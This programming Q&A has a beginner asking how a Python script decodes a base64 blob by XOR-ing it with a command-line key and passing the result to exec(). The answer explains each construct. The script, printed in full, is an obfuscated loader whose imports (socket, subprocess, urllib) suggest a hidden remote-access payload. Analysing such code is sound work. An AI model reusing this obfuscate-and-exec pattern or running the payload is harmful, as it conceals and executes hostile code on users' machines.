Search code examples
pythonlambdabase64python-itertools

understanding lambda & .join(chr(ord(letter))


I'm complete rookie in python coding and i am trying to reverse engineer script/program but struggling understanding the lambda/.join(chr(ord()) functions:

The code im trying to reverse engineer is following:

#!/usr/bin/env python
from itertools import cycle, izip
import base64, sys

import socket, subprocess, os, urllib

x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b)))

c = """
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY
Gho9QB9QX1hAVBsaPQ==
"""

exec(x(c, sys.argv[1]))

If i understand this correctly operator C is base64 encoded variable but it cannot be decoded straight away because it gets mangled at ''.join(chr(c)^ord(k)) which somehow uses the decoded version of C with cycling it through with sysargv value - but this is where i get completely lost; which one of the functions gets processed first, the XOR for C and K or the cycling with A and B?

Also, where is k coming from in this occasion, it shouldn't be sysargv is it set to b in the exec part of program, so is this something that is allready set by default by some of the imported modules?


Solution

  • Let's break it down:

    x = lambda stuff: other_stuff 
    

    is almost exactly equivalent to

    def x(stuff):
        return other_stuff
    

    So it's just defining a function that takes a (the base64 encoded cyphertext) and b (the key) and returns the decoded string.

    Now, going from the inside to the outside:

    base64.decodestring(a)
    

    this simply decodes the base64 encoding of the cyphertext, and returns a decoded string

    cycle(b) 
    

    Returns an iterator that cycles over b; e.g., if b is "abc" the iterator will go on providing a, b, c, a, b, c, a, b, c,... forever.

    izip(...)
    

    Returns an iterator providing the "zipped" tuples of the two sequences; for example, if the first parameter is "12345" and the second is cycle("abc") it will provide ("1", "a"), ("2", "b"), ("3", "c"), ("4", "a"), ("5", "b").

    chr(ord(c)^ord(k)) for c,k in izip(...) 
    

    This is a generator expression, which iterates over the result of izip, unpacks these tuples above into c and k (the cyphertext and the key for each single byte) and calculates the deciphered byte by XOR-ing*(^) their byte value (ord) and re-composing the result into the corresponding character (chr). The result is a generator that provides the decoded characters.

    ''.join(...) 
    

    Joins the characters provided by the generator expression into a single big string with the result.